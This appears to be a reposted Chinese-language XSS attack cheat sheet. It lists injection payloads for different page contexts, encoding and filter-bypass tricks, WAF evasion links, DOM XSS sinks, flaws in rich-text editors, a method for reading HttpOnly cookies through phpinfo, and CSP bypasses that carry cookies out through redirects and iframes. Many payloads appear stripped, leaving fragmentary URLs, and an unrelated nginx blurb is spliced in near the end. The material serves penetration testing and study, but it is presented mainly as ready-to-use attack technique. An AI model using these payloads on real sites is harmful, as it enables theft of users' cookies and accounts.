一、 xss可以做哪些事情?
在没有限制的情况下,xss=html+JavaScript。凡是js+html能做的,xss都能做。
弹窗吓唬人,也是最常用的测试手段
有时候不能弹窗,也可以变相用其他简单dom证明。
网页跳转,等同于任意url跳转
引入外部js,引入外部js是图方便或者有长度限制,是手段而不是目的。有时候因此需要短域名。
盗取cookie,最常用手段,注意URL中+变成%2B
盗取其他信息,由于会访问一次xss平台服务器(攻击者服务器),所以可以顺便收集ip,user-agent,referer这些信息。
flash钓鱼,结合弹窗和url跳转进行钓鱼
用xss触发CSRF,论坛中可用来制作XSS蠕虫
GET
POST
JSON/POST
二、 不同位置的XSS利用方式
标签外
name=
标签内
name="> name=1" id=javascript:alert(1) autofocus onfocus=location=this.id xx
href中
name=javascript:alert(1)
CRLF
name=%0d%0a%0d%0a
js中
name= name=';alert(1);// name=';alert(1);' name='-alert(1)-' name=';};alert(1);function a(){a='
xml
svg
三、 XSS绕过相关
img标签,隐藏未加载图标
无法用圆括号
单引号,双引号,反引号互相替换
http协议省略
前后闭合
">空格填充
AAsrcAAonerrorBB=BBalertCC(1)DD
A位置可填充/,/123/,%09,%0A,%0C,%0D,%20
B位置可填充%09,%0A,%0C,%0D,%20
C位置可填充%0B,如果加双引号,则可以填充/**/,%09,%0A,%0C,%0D,%20
D位置可填充%09,%0A,%0C,%0D,%20,//,>
函数配合拼接赋值和拼接
创建匿名函数
加密函数(parseInt和toString互逆)
编码
eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59)) eval('x61x6cx65x72x74x28x27x78x73x73x27x29') eval(atob('YWxlcnQoMSk=')) eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))过滤eval
伪协议
更换标签和事件,事件见https://www.runoob.com/jsref/dom-obj-event.html
仅限火狐IE的XSS
四、 绕过waf拦截
安全狗
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2http://www.safedog.cn/index/privateSolutionIndex.html?tab=2 D盾
http://www.d99net.net/News.asp?id=126http://www.d99net.net/News.asp?id=126 云锁+奇安信waf
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1 五、 domxss
任意url跳转
var hash = location.hash;// document.location.href.split("?url=")[1]; if(hash){ var url = hash.substring(1); location.href = url; }http://luoke.cn:81/1.html#http://www.baidu.com
http://luoke.cn:81/1.html#javascript:alert(1)document.write
var hash = location.hash.slice(1); document.write(hash);innerHTML
当有变量带入eval,setInterval,setTimeout,document.referrer,window.name中,都值得关注。
六、 富文本编辑器的XSS
富文本编辑器允许html标签,允许以html模式编辑,往往过滤了绝大部分有害标签
Ueditor
白名单过滤,只允许部分标签和部分元素
http://ueditor.baidu.com/ueditor/ueditor.config.js但是可以用超链接带入javascript
xssUMeditor
和Ueditor差不多,但是超链接会强制以http开头。
查看源代码,发现jsp版本有反射XSS/umeditor/jsp/getContent.jsp?myEditor= /umeditor/jsp/imageUp.jsp?callback=Kindeditor
Kindeditor采用黑名单正则过滤,效率不高,很容易被绕过
http://kindeditor.net/ke4/kindeditor-all.js?t=20160331.js最简单的是以绕过
七、 phpinfo绕过http-only
xss常用于打cookie,因此http-only防止cookie被js获取就成了防护xss的手段之一。
setcookie第七个参数可以设置httponlyhttp://luoke.cn:81/test/1.php?echo=
可以发现js无法读取cookie此时,如果有个页面能将cookie反射出来的话,强迫用户访问这个页面,然后同域读取这个页面即可将cookie给传送走。
phpinfo就可以用于探测http-only的cookie原理为在有xss的页面,发起一个xhr请求,然后js读取返回页面中用正则匹配出HTTP_COOKIE的字段。
八、 csp绕过
csp是规定引用外部来源的浏览器策略,包括js/img/css等。
常见格式如下
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
default-src设定所有资源默认加载规则,self为仅允许同域,后面可以加域名白名单,none为包括同域在内所有资源都不行,*为允许所有资源加载,unsafe-inline为允许当前页面加载(如果没有这个当前页面也不允许直接执行js)。
其规律表格如下除了script-src 之外,还有img-src,object-src,frame-src标签等,其他比如'unsafe-eval'规则见https://www.cnblogs.com/heyuqing/p/6215761.html
当然,对XSS来说,最重要的就是script-src绕过,我们面对的拦截规则一般如下。
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
1.php可以以header方式返回,也可以写在前端的meta标签里。
常用加载外部js手段失败
http://luoke.cn:81/test/1.php?echo=当然,如果当前域允许非图片上传,可以上传一个内容为js的txt。
http://luoke.cn:81/test/1.php?echo=
不过还是那句话,加载外部js是手段不是目的,直接尝试直接在本地执行js带出cookie。
http://luoke.cn:81/test/1.php?echo=还是不行,其原因是这种带出cookie的本质是用document.createElement新建了一个img标签,以img的src请求拼接cookie。而我们规定了default-src 'self',使得所有资源都只能加载本地的,导致失败,同理此时发起xhr请求也会失败。
如果没有配置default-src,而是单独的配置img-src,script-src,style-src,我们可以找出漏网之鱼比如冷门的video来绕过。
Content-Security-Policy: script-src 'self' 'unsafe-inline';img-src 'self';style-src 'self'http://luoke.cn:81/test/1.php?echo=
正确配置的前提下,可以用跳转来突破限制。
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
http://luoke.cn:81/test/1.php?echo=如果同域下A页面正确配置了,B页面错误配置并且有XSS漏洞,可以在B页面用iframe标签操作A页面。
test/1.phptest2/2.php
http://luoke.cn:81/test2/2.php?echo=
这样访问无cookie。http://luoke.cn:81/test2/2.php?echo=
这样可以弹出cookie这样证明cookie只用于test/目录,且同域下的test2/目录可以通过iframe获取。然后突破A页面的csp传输走就行了。
格式化为
其他方法见
https://xz.aliyun.com/t/5084九、 XSS靶场
https://xss.tesla-space.com/
https://alf.nu/alert1
http://prompt.ml简介 在nginx源代码中有大量的任务被加到红黑树中,或者通过注册回调函数来实现,通过阅读源码很难发现和跟踪执行流程。但是通过调试nginx代码可以很清晰的跟踪nginx执行的流程,可以很直观的发现一次http请求响应完整处理生命周期。 nginx modul…
本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/articles/web/5881.html
请登录后发表评论
注册